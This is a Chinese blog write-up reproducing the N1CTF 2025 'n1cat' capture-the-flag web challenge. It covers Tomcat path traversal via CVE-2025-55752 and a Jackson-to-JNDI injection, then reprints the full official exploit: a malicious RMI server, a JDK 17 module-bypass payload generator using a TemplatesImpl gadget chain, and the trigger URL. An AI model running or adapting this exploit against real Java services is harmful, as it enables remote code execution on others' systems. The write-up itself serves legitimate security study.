N1CTF 2025 n1cat 复现

N1CTF 2025 n1cat 复现

web 部分官方 WPhttps://gsbp0.github.io/post/2025n1ctf-wp-for-n1cateezzjs/

官方仓库 https://github.com/Nu1LCTF/n1ctf-2025

n1cat

题目提供附件 rewrite.config

1
2
RewriteCond %{QUERY_STRING} (^|&)path=([^&]+)
RewriteRule ^/download$ /%2 [B,L]

结合 Tomcat 版本 9.0.108 进行检索可以发现 CVE-2025-55752,通过 /download?path=%2fWEB-INF%2fweb.xml 可以找到 web.xml

1
2
3
4
5
6
7
8
9
10
<web-app xmlns="http://xmlns.jcp.org/xml/ns/javaee" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:schemaLocation="http://xmlns.jcp.org/xml/ns/javaee http://xmlns.jcp.org/xml/ns/javaee/web-app_4_0.xsd" version="4.0">
<servlet>
<servlet-name>welcomeServlet</servlet-name>
<servlet-class>ctf.n1cat.welcomeServlet</servlet-class>
</servlet>
<servlet-mapping>
<servlet-name>welcomeServlet</servlet-name>
<url-pattern>/</url-pattern>
</servlet-mapping>
</web-app>

从中确定 ctf.n1cat.welcomeServlet 而后就是使用 CVE-2025-55752 继续探测获取信息

/download?path=%2fWEB-INF/classes/ctf/n1cat/welcomeServlet.class 这里又可以看到 User.class,且使用了 Jackson

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
package ctf.n1cat;

import com.fasterxml.jackson.core.JsonProcessingException;
import com.fasterxml.jackson.databind.ObjectMapper;
import com.fasterxml.jackson.databind.node.ObjectNode;
import java.io.IOException;
import java.io.PrintWriter;
import java.net.URLEncoder;
import java.nio.charset.StandardCharsets;
import javax.servlet.RequestDispatcher;
import javax.servlet.ServletException;
import javax.servlet.annotation.WebServlet;
import javax.servlet.http.HttpServlet;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;

@WebServlet(name = "welcomeServlet", value = {"/"})
/* loaded from: welcomeServlet.class */
public class welcomeServlet extends HttpServlet {
private static final String _DEFAULT_NAME _= "guest";
private static final String _DEFAULT_WORD _= "welcome";
private static final ObjectMapper _OBJECT_MAPPER _= new ObjectMapper();

protected void doGet(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException {
String requestUri = request.getRequestURI();
String contextPath = request.getContextPath();
String pathWithinApp = requestUri.substring(contextPath.length());
if (shouldDelegate(pathWithinApp)) {
delegateToDefaultResource(pathWithinApp, request, response);
return;
}
String jsonPayload = request.getParameter("json");
String nameParam = request.getParameter("name");
String wordParam = request.getParameter("word");
String urlParam = request.getParameter("url");
if (isBlank(jsonPayload) && !isBlank(nameParam) && !isBlank(wordParam)) {
ObjectNode composed = _OBJECT_MAPPER_.createObjectNode();
composed.put("name", nameParam);
composed.put("word", wordParam);
if (!isBlank(urlParam)) {
composed.put("url", urlParam);
}
jsonPayload = composed.toString();
}
if (isBlank(jsonPayload)) {
response.sendRedirect(defaultRedirectTarget(request));
return;
}
try {
User user = (User) _OBJECT_MAPPER_.readValue(jsonPayload, User.class);
String name = user.getName();
String word = user.getWord();
String url = user.getUrl();
if (isBlank(name) || isBlank(word)) {
response.sendRedirect(defaultRedirectTarget(request));
} else {
renderResponse(response, name, word, url);
}
} catch (RuntimeException e) {
response.sendError(400, "Invalid user data");
} catch (JsonProcessingException e2) {
response.sendError(400, "Invalid JSON payload");
}
}

private boolean shouldDelegate(String pathWithinApp) {
return (pathWithinApp == null || pathWithinApp.isEmpty() || "/".equals(pathWithinApp)) ? false : true;
}

private void delegateToDefaultResource(String pathWithinApp, HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException {
RequestDispatcher defaultDispatcher = getServletContext().getNamedDispatcher("default");
if (defaultDispatcher != null) {
defaultDispatcher.forward(request, response);
} else {
request.getRequestDispatcher(pathWithinApp).forward(request, response);
}
}

private void renderResponse(HttpServletResponse response, String name, String word, String url) throws IOException {
response.setContentType("text/html;charset=UTF-8");
PrintWriter out = response.getWriter();
try {
out.println("<html><body>");
out.println("<h1>" + escapeHtml(name) + "</h1>");
out.println("<p>" + escapeHtml(word) + "</p>");
if (!isBlank(url)) {
out.println("<p>URL: " + escapeHtml(url) + "</p>");
}
out.println("</body></html>");
if (out != null) {
out.close();
}
} catch (Throwable th) {
if (out != null) {
try {
out.close();
} catch (Throwable th2) {
th.addSuppressed(th2);
}
}
throw th;
}
}

private String escapeHtml(String input) {
if (input == null) {
return "";
}
return input.replace("&", "&amp;").replace("<", "&lt;").replace(">", "&gt;").replace("\"", "&quot;").replace("'", "&#x27;");
}

private String defaultRedirectTarget(HttpServletRequest request) {
return request.getContextPath() + "/?name=" + urlEncode(_DEFAULT_NAME_) + "&word=" + urlEncode(_DEFAULT_WORD_);
}

private boolean isBlank(String value) {
return value == null || value.trim().isEmpty();
}

private String urlEncode(String value) {
return URLEncoder._encode_(value, StandardCharsets._UTF_8_);
}
}

/download?path=%2fWEB-INF/classes/ctf/n1cat/User.class 继续获取 User.class,这里 setUrl 直接就会使用 lookup,推测为 Jackson 反序列化 +JNDI 注入

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
package ctf.n1cat;

import javax.naming.InitialContext;
import javax.naming.NamingException;

/* loaded from: User.class */
public class User {
private String name;
private String word;
private String url;

public String getName() {
return this.name;
}

public String getWord() {
return this.word;
}

public void setWord(String password) {
this.word = password;
}

public void setName(String name) throws NamingException {
this.name = name;
}

public String getUrl() {
return this.url;
}

public void setUrl(String url) {
try {
new InitialContext().lookup(url);
} catch (NamingException e) {
throw new RuntimeException((Throwable) e);
}
}
}

/download?path=%2fMETA-INF/MANIFEST.MF 这里可以看构建时使用的 jdk 版本:Oracle OpenJDK 17.0.4

1
2
3
4
Manifest-Version: 1.0
Created-By: IntelliJ IDEA
Built-By: gsbp
Build-Jdk: Oracle OpenJDK 17.0.4 - aarch64

而后我又尝试了探测 pom.xml 等配置文件期望从中获取所有依赖和版本信息(虽然默认 war 包是没什么这种文件的,但万一用的是 maven 或者 Gradle 之类的呢),然而事实上并没有找到。由于当时还是耐心不够,只 fuzz 了 class 文件和一些常见配置文件,没去把依赖的一个个搞出来,后面做题也没找到可用的利用链,基本就 game over 了,想想还是有点傻。。。还是要多试。

复现

如果要根据 war 包在 IDEA 构建项目,注意 servlet 会因缺少依赖报错,需要自行导入 Tomcat 中的 servlet-api.jar 包,本题下载 Tomcat9.0.108 后在 lib 目录中找到 servlet-api.jar,导入 IDEA 项目依赖。下图为本题所有依赖

尝试使用官方 poc 进行复现,内容如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
package ctf.n1cat;

import java.io.BufferedInputStream;
import java.io.BufferedOutputStream;
import java.io.DataInputStream;
import java.io.DataOutputStream;
import java.io.IOException;
import java.io.InputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.io.ObjectStreamClass;
import java.io.OutputStream;
import java.net.InetSocketAddress;
import java.net.ServerSocket;
import java.net.Socket;
import java.net.SocketException;
import java.net.URL;
import java.net.URLClassLoader;
import java.rmi.MarshalException;
import java.rmi.server.ObjID;
import java.rmi.server.UID;
import javax.net.ServerSocketFactory;
import org.slf4j.Logger;
import org.slf4j.LoggerFactory;

public class evilServer implements Runnable {
public static void main(String[] args) {
//before you start it, you should set vm options:"--add-opens=java.base/sun.nio.ch=ALL-UNNAMED --add-opens=java.base/java.lang=ALL-UNNAMED --add-opens=java.base/java.io=ALL-UNNAMED --add-opens=jdk.unsupported/sun.misc=ALL-UNNAMED --add-opens=java.xml/com.sun.org.apache.xalan.internal.xsltc.trax=ALL-UNNAMED --add-opens=java.base/java.lang.reflect=ALL-UNNAMED"
evilServer._start_();
}
private static final Logger _log _= LoggerFactory._getLogger_(evilServer.class);
public String ip;
public int port;
private ServerSocket ss;
private final Object waitLock = new Object();
private boolean exit;
private boolean hadConnection;
private static evilServer _serverInstance_;

public evilServer(String ip, int port) {
try {
this.ip = ip;
this.port = port;
this.ss = ServerSocketFactory._getDefault_().createServerSocket(this.port);
} catch (Exception e) {
e.printStackTrace();
}

}

public static synchronized void start() {
_serverInstance _= new evilServer("0.0.0.0", 8899);
Thread serverThread = new Thread(_serverInstance_);
serverThread.start();
_log_.warn("[RMI Server] is already running.");
}

public static synchronized void stop() {
if (_serverInstance _!= null) {
_serverInstance_.exit = true;

try {
_serverInstance_.ss.close();
} catch (IOException e) {
e.printStackTrace();
}

_serverInstance _= null;
_log_.info("[RMI Server] stopped.");
}

}

public boolean waitFor(int i) {
try {
if (this.hadConnection) {
return true;
} else {
_log_.info("[RMI Server] Waiting for connection");
synchronized(this.waitLock) {
this.waitLock.wait((long)i);
}

return this.hadConnection;
}
} catch (InterruptedException var5) {
return false;
}
}

public void close() {
this.exit = true;

try {
this.ss.close();
} catch (IOException var4) {
}

synchronized(this.waitLock) {
this.waitLock.notify();
}
}

public void run() {
_log_.info("[RMI Server] Listening on {}:{}", "127.0.0.1", "8899");

try {
Socket s = null;

try {
while(!this.exit && (s = this.ss.accept()) != null) {
try {
s.setSoTimeout(5000);
InetSocketAddress remote = (InetSocketAddress)s.getRemoteSocketAddress();
_log_.info("[RMI Server] Have connection from " + remote);
InputStream is = s.getInputStream();
InputStream bufIn = (InputStream)(is.markSupported() ? is : new BufferedInputStream(is));
bufIn.mark(4);
DataInputStream in = new DataInputStream(bufIn);
Throwable var6 = null;

try {
int magic = in.readInt();
short version = in.readShort();
if (magic == 1246907721 && version == 2) {
OutputStream sockOut = s.getOutputStream();
BufferedOutputStream bufOut = new BufferedOutputStream(sockOut);
DataOutputStream out = new DataOutputStream(bufOut);
Throwable var12 = null;

try {
byte protocol = in.readByte();
switch (protocol) {
case 75:
out.writeByte(78);
if (remote.getHostName() != null) {
out.writeUTF(remote.getHostName());
} else {
out.writeUTF(remote.getAddress().toString());
}

out.writeInt(remote.getPort());
out.flush();
in.readUTF();
in.readInt();
case 76:
this.doMessage(s, in, out);
bufOut.flush();
out.flush();
break;
case 77:
default:
_log_.info("[RMI Server] Unsupported protocol");
s.close();
}
} catch (Throwable var88) {
var12 = var88;
throw var88;
} finally {
if (out != null) {
if (var12 != null) {
try {
out.close();
} catch (Throwable var87) {
var12.addSuppressed(var87);
}
} else {
out.close();
}
}

}
} else {
s.close();
}
} catch (Throwable var90) {
var6 = var90;
throw var90;
} finally {
if (in != null) {
if (var6 != null) {
try {
in.close();
} catch (Throwable var86) {
var6.addSuppressed(var86);
}
} else {
in.close();
}
}

}
} catch (InterruptedException var92) {
return;
} catch (Exception e) {
e.printStackTrace(System._err_);
} finally {
_log_.info("[RMI Server] Closing connection");
s.close();
}
}

return;
} finally {
if (s != null) {
s.close();
}

if (this.ss != null) {
this.ss.close();
}

}
} catch (SocketException var96) {
} catch (Exception e) {
e.printStackTrace(System._err_);
}

}

private void doMessage(Socket s, DataInputStream in, DataOutputStream out) throws Exception {
_log_.info("[RMI Server] Reading message...");
int op = in.read();
switch (op) {
case 80:
this.doCall(s, in, out);
break;
case 81:
case 83:
default:
throw new IOException("unknown transport op " + op);
case 82:
out.writeByte(83);
break;
case 84:
UID._read_(in);
}

s.close();
}

private void doCall(Socket s, DataInputStream in, DataOutputStream out) throws Exception {
ObjectInputStream ois = new ObjectInputStream(in) {
protected Class<?> resolveClass(ObjectStreamClass desc) throws IOException {
if ("[Ljava.rmi.server.ObjID;".equals(desc.getName())) {
return ObjID[].class;
} else if ("java.rmi.server.ObjID".equals(desc.getName())) {
return ObjID.class;
} else if ("java.rmi.server.UID".equals(desc.getName())) {
return UID.class;
} else if ("java.lang.String".equals(desc.getName())) {
return String.class;
} else {
throw new IOException("Not allowed to read object");
}
}
};

ObjID read;
try {
read = ObjID._read_(ois);
} catch (IOException e) {
throw new MarshalException("unable to read objID", e);
}

if (read.hashCode() == 2) {
_handleDGC_(ois);
} else if (read.hashCode() == 0) {
if (this.handleRMI(s, ois, out)) {
this.hadConnection = true;
synchronized(this.waitLock) {
this.waitLock.notifyAll();
return;
}
}

s.close();
}

}

private boolean handleRMI(Socket s, ObjectInputStream ois, DataOutputStream out) throws Exception {
int method = ois.readInt();
ois.readLong();
if (method != 2) {
return false;
} else {
String object = (String)ois.readObject();
out.writeByte(81);

Object obj;
try (ObjectOutputStream oos = new MarshalOutputStream(out, "evil")) {
oos.writeByte(1);
(new UID()).write(oos);
String path = "/" + object;
_log_.info("[RMI Server] Send payloadData for " + path);
new Object();
obj = PayloadGenerator._getPayload_();
oos.writeObject(obj);
oos.flush();
out.flush();
return true;
}
}
}
private static void handleDGC(ObjectInputStream ois) throws IOException, ClassNotFoundException {
ois.readInt();
ois.readLong();
}
static final class MarshalOutputStream extends ObjectOutputStream {
private String sendUrl;

public MarshalOutputStream(OutputStream out, String u) throws IOException {
super(out);
this.sendUrl = u;
}

MarshalOutputStream(OutputStream out) throws IOException {
super(out);
}

protected void annotateClass(Class<?> cl) throws IOException {
if (this.sendUrl != null) {
this.writeObject(this.sendUrl);
} else if (!(cl.getClassLoader() instanceof URLClassLoader)) {
this.writeObject((Object)null);
} else {
URL[] us = ((URLClassLoader)cl.getClassLoader()).getURLs();
String cb = "";

for(URL u : us) {
cb = cb + u.toString();
}

this.writeObject(cb);
}

}

protected void annotateProxyClass(Class<?> cl) throws IOException {
this.annotateClass(cl);
}
}


}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
package ctf.n1cat;

import javax.swing.event.EventListenerList;
import java.io.ByteArrayOutputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import javax.swing.undo.UndoManager;
import java.util.Base64;
import java.util.Vector;
import java.util.ArrayList;
import com.fasterxml.jackson.databind.node.POJONode;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import sun.misc.Unsafe;
import java.lang.reflect.Method;
import javassist.ClassPool;
import javassist.CtClass;
import javassist.CtMethod;
import org.springframework.aop.framework.AdvisedSupport;
import javax.xml.transform.Templates;
import java.lang.reflect.*;

public class PayloadGenerator {
public static Object getPayload() throws Exception {
try {
ClassPool pool = ClassPool._getDefault_();
CtClass jsonNode = pool.get("com.fasterxml.jackson.databind.node.BaseJsonNode");
CtMethod writeReplace = jsonNode.getDeclaredMethod("writeReplace");
jsonNode.removeMethod(writeReplace);
ClassLoader cl = Thread._currentThread_().getContextClassLoader();
jsonNode.toClass(cl, null);
} catch (Exception ignored) {
System._out_.println(ignored);
}
ArrayList<Class> classes = new ArrayList<>();
classes.add(TemplatesImpl.class);
classes.add(POJONode.class);
classes.add(EventListenerList.class);
classes.add(PayloadGenerator.class);
classes.add(Field.class);
classes.add(Method.class);
new PayloadGenerator().bypassModule(classes);

byte[] code1 = _getTemplateCode_("touch /tmp/success");
byte[] code2 = ClassPool._getDefault_().makeClass(_randomString_(6)).toBytecode();

TemplatesImpl templates = new TemplatesImpl();
_setFieldValue_(templates, "_name", "xxx");
_setFieldValue_(templates, "_bytecodes", new byte[][]{code1, code2});
_setFieldValue_(templates, "_transletIndex", 0);

POJONode node = new POJONode(_makeTemplatesImplAopProxy_(templates));
EventListenerList ell = _getEventListenerList_(node);
_serialize_(ell, true);
return ell;
}

public static byte[] serialize(Object obj, boolean printBase64) throws Exception {
ByteArrayOutputStream baos = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(baos);
oos.writeObject(obj);
oos.close();
if (printBase64) {
System._out_.println(Base64._getEncoder_().encodeToString(baos.toByteArray()));
}
return baos.toByteArray();
}

public static Object makeTemplatesImplAopProxy(TemplatesImpl templates) throws Exception {
AdvisedSupport advisedSupport = new AdvisedSupport();
advisedSupport.setTarget(templates);
Constructor<?> ctor = Class
._forName_("org.springframework.aop.framework.JdkDynamicAopProxy")
.getConstructor(AdvisedSupport.class);
ctor.setAccessible(true);
InvocationHandler handler = (InvocationHandler) ctor.newInstance(advisedSupport);
return Proxy._newProxyInstance_(
ClassLoader._getSystemClassLoader_(),
new Class[]{Templates.class},
handler
);
}

public static byte[] getTemplateCode(String cmd) throws Exception {
ClassPool pool = ClassPool._getDefault_();
CtClass template = pool.makeClass(_randomString_(6));
String block = "Runtime.getRuntime().exec(\""+cmd+"\");";
template.makeClassInitializer().insertBefore(block);
return template.toBytecode();
}

public static EventListenerList getEventListenerList(Object obj) throws Exception {
EventListenerList list = new EventListenerList();
UndoManager undo = new UndoManager();
Vector v = (Vector) _getFieldValue_(undo, "edits");
v.add(obj);

_setFieldValue_(list, "listenerList", new Object[]{Class.class, undo});
return list;
}
public static String randomString(int length) {
String chars = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789";
StringBuilder sb = new StringBuilder(length);
java.util.Random random = new java.util.Random();
for (int i = 0; i < length; i++) {
sb.append(chars.charAt(random.nextInt(chars.length())));
}
return sb.toString();
}

private static Method getMethod(Class<?> clazz, String name, Class<?>[] params) {
Method m = null;
while (clazz != null) {
try {
m = clazz.getDeclaredMethod(name, params);
break;
} catch (NoSuchMethodException e) {
clazz = clazz.getSuperclass();
}
}
return m;
}

private static Unsafe getUnsafe() {
try {
Field f = Unsafe.class.getDeclaredField("theUnsafe");
f.setAccessible(true);
return (Unsafe) f.get(null);
} catch (Exception e) {
throw new AssertionError(e);
}
}

public void bypassModule(ArrayList<Class> classes) {
try {
Unsafe unsafe = _getUnsafe_();
Class<?> currentClass = this.getClass();
try {
Method getModule = _getMethod_(Class.class, "getModule", new Class[0]);
if (getModule != null) {
for (Class c : classes) {
Object targetModule = getModule.invoke(c,new Object[]{});
unsafe.getAndSetObject(
currentClass,
unsafe.objectFieldOffset(Class.class.getDeclaredField("module")),
targetModule
);
}
}
} catch (Exception ignored) {}
} catch (Exception e) {
e.printStackTrace();
}
}

public static Object getFieldValue(Object obj, String fieldName) throws Exception {
Field f = null;
Class<?> c = obj.getClass();
for (int i = 0; i < 5 && c != null; i++) {
try {
f = c.getDeclaredField(fieldName);
break;
} catch (NoSuchFieldException e) {
c = c.getSuperclass();
}
}
if (f == null) throw new NoSuchFieldException(fieldName);
f.setAccessible(true);
return f.get(obj);
}

public static void setFieldValue(Object obj, String field, Object val) throws Exception {
Field f = obj.getClass().getDeclaredField(field);
f.setAccessible(true);
f.set(obj, val);
}
}

配好 javassist、slf4j、logback 等几项依赖后在 IDEA 的运行或调试选项处要配置虚拟机选项,否则不能正常运行

1
2
3
4
5
6
--add-opens=java.base/sun.nio.ch=ALL-UNNAMED 
--add-opens=java.base/java.lang=ALL-UNNAMED
--add-opens=java.base/java.io=ALL-UNNAMED
--add-opens=jdk.unsupported/sun.misc=ALL-UNNAMED
--add-opens=java.xml/com.sun.org.apache.xalan.internal.xsltc.trax=ALL-UNNAMED
--add-opens=java.base/java.lang.reflect=ALL-UNNAMED

访问靶机页面添加 url 参数为 rmiServer 的 url

1
/?name=n1cat&word=hello&url=rmi://192.168.196.1:8899/evil

成功执行命令完成复现

尝试分析

之前学习过 bitterz的文章,首先在 jdk17 的版本下,默认不会信任远程 Reference 类,需要利用本地工厂类或者服务端返回字节码利用受害者存在的 gadget 触发原生反序列化。其次,jdk9 及之后的 java 版本中进行了更严格的模块化封装,导致内部类无法直接访问、常用的反射手段受到了很大的限制

所给 poc 中如下的 getUnsafe() 函数和 bypassModule 函数可以绕过 JPMS

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
private static Unsafe getUnsafe() {
try {
Field f = Unsafe.class.getDeclaredField("theUnsafe");
f.setAccessible(true);
return (Unsafe) f.get(null);//反射获取Unsafe类实例
} catch (Exception e) {
throw new AssertionError(e);
}
}

public void bypassModule(ArrayList<Class> classes) {//参数classes即所有需要绕过模块限制的类的一个数组
try {
Unsafe unsafe = _getUnsafe_();
Class<?> currentClass = this.getClass();//获取当前运行时Class对象
try {
Method getModule = _getMethod_(Class.class, "getModule", new Class[0]);//调用poc中自己写的getMethod方法获取Class类的getModule方法
if (getModule != null) {
for (Class c : classes) {//遍历所有需要绕过的类
Object targetModule = getModule.invoke(c,new Object[]{});//调用getModule方法获取目标类所属的模块
unsafe.getAndSetObject(//获取对象字段的值并设置新值(遍历过程中即按序覆盖)
currentClass,//目标对象,即本类PayloadGenerator
unsafe.objectFieldOffset(Class.class.getDeclaredField("module")),//内存偏移量
targetModule//新值,即目标类的所属模块
);
}
}
} catch (Exception ignored) {}
} catch (Exception e) {
e.printStackTrace();
}
}

一个类的 module 字段由它的 ClassLoader 是否关联某个 ModuleLayer 决定(是否含有 module-info.java,是否使用–module-path 等),其他未加指定的类所属 module 均为 unnamed,大多数攻击环境都不会模块化部署所以攻击代码一般都视作 unnamed module 处理。而我们需要利用的类如 TemplatesImpl 属于 java.xml 模块,在 jdk17 的强封装机制下攻击代码就无法调用。

Unsafe 类是 Java 中一个提供底层操作能力的类,它位于 sun.misc 包下,允许开发者直接对内存进行操作,尤其需要注意的是它提供了修改类的 Class 对象的 module 字段的能力。本处先通过反射获取 Unsafe 类的实例,而后利用其 getAndSetObject 方法(putObject 方法具有同样的功能)修改 poc 自身类的 module 字段为目标类的 module,从而绕过模块封装机制。

解决模块封装问题后研究利用链的组成。所给 poc 中 getPayload() 方法包含利用链的主体。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
public static Object getPayload() throws Exception {
try {//首先移除Jackson的反序列化保护
ClassPool pool = ClassPool._getDefault_();
CtClass jsonNode = pool.get("com.fasterxml.jackson.databind.node.BaseJsonNode");
CtMethod writeReplace = jsonNode.getDeclaredMethod("writeReplace");
jsonNode.removeMethod(writeReplace);//移除writeReplace方法
ClassLoader cl = Thread._currentThread_().getContextClassLoader();
jsonNode.toClass(cl, null);//动态重新加载修改后的类
} catch (Exception ignored) {
System._out_.println(ignored);
}
ArrayList<Class> classes = new ArrayList<>();//把用到的类的class对象都用bypassModule绕过限制
classes.add(TemplatesImpl.class);//添加顺序按使用顺序排列,确保每次操作时module检测可以通过
classes.add(POJONode.class);
classes.add(EventListenerList.class);
classes.add(PayloadGenerator.class);
classes.add(Field.class);
classes.add(Method.class);
new PayloadGenerator().bypassModule(classes);

byte[] code1 = _getTemplateCode_("touch /tmp/success");//生成要执行的命令的字节码
byte[] code2 = ClassPool._getDefault_().makeClass(_randomString_(6)).toBytecode();

TemplatesImpl templates = new TemplatesImpl();
_setFieldValue_(templates, "_name", "xxx");//反射设置私有字段
_setFieldValue_(templates, "_bytecodes", new byte[][]{code1, code2});//注入恶意字节码
_setFieldValue_(templates, "_transletIndex", 0);//指定执行第一个字节码(code1)

//构建链条
POJONode node = new POJONode(_makeTemplatesImplAopProxy_(templates));
EventListenerList ell = _getEventListenerList_(node);
_serialize_(ell, true);
return ell;
}

public static byte[] getTemplateCode(String cmd) throws Exception {
ClassPool pool = ClassPool._getDefault_();
CtClass template = pool.makeClass(_randomString_(6));
String block = "Runtime.getRuntime().exec(\""+cmd+"\");";
template.makeClassInitializer().insertBefore(block);//类初始化时执行命令
return template.toBytecode();//生成字节码
}

使用的 gadget 如下

1
2
3
4
5
EventListenerList#readObject()
└── UndoManager#toString()
└── Vector#toString()
└── POJONode#toString()
└── Proxy(TemplatesImpl)

先看 EventListenerList#readObject(),要利用该入口需要其可成为 EventListener 类型,且实现了 Serializable 接口

如下图所示,UndoManager 实现了 UndoableEditListener,UndoableEditListener 继承了 EventListener 接口,因此可被 EventListenerList 接受,同时它继承了 CompoundEdit,再继承 AbstractUndoableEdit,最后实现了 Serializable 接口,从而可以被序列化与反序列化,完美符合利用条件。

而后进入 add(tmp, l),这里需要判断 l 对象是否是 tmp 的类型。这里 poc 中传入的是 Class.class,与 UndoManager 的类型不符,目的是为了进入报错从而隐式调用 l 即 UndoManager 的 toString 方法,所以只要不是 UndoManager.class 就行

1
2
3
4
5
6
7
8
9
public static EventListenerList getEventListenerList(Object obj) throws Exception {
EventListenerList list = new EventListenerList();
UndoManager undo = new UndoManager();
Vector v = (Vector) _getFieldValue_(undo, "edits");
v.add(obj);

_setFieldValue_(list, "listenerList", new Object[]{Class.class, undo});
return list;
}

查看 UndoManager 的 toString 方法,limit 与 indexOfNextAdd 均为 int 类型没有利用价值

于是可以查看 super.toString()即 CompoundEdit.toString(),此处 edits 属性为 Vector 类的对象,字符串与对象拼接再次隐式触发 Vector 的 toString 方法

最终到达 AbstractCollection.toString(),此处获取一个当前集合的迭代器,而后遍历该 Vector 中存储的对象

此处在 poc 中传入的对象即 POJONode

1
2
3
4
5
6
7
8
9
10
11
12
13
......
POJONode node = new POJONode(_makeTemplatesImplAopProxy_(templates));
EventListenerList ell = _getEventListenerList_(node);
......
public static EventListenerList getEventListenerList(Object obj) throws Exception {
EventListenerList list = new EventListenerList();
UndoManager undo = new UndoManager();
Vector v = (Vector) _getFieldValue_(undo, "edits");
v.add(obj);

_setFieldValue_(list, "listenerList", new Object[]{Class.class, undo});
return list;
}

通过 Vector.add 方法将 POJONode 对象添加进去

再跟进 AbstractCollection.toString()中 StringBuilder.append()的操作

进入 String.valueOf(obj),最终实现任意 toString 方法调用

调用到 POJONode.toString 后任意调用 Getter,通过 AOP 代理增加调用稳定性,最终调用 TemplatesImpl.getOutputProperties 方法加载字节码实现 RCE

关于 AOP 的部分可以参考 JDBC Attack 与高版本 JDK 下的 JNDI Bypass

关于 TemplatesImpl 的部分可以参考 TemplatesImpl 利用链分析

本文其他参考:


N1CTF 2025 n1cat 复现
http://5i1encee.top/2026/01/05/N1CTF 2025 n1cat复现/
作者
5i1encee
发布于
2026年1月5日
许可协议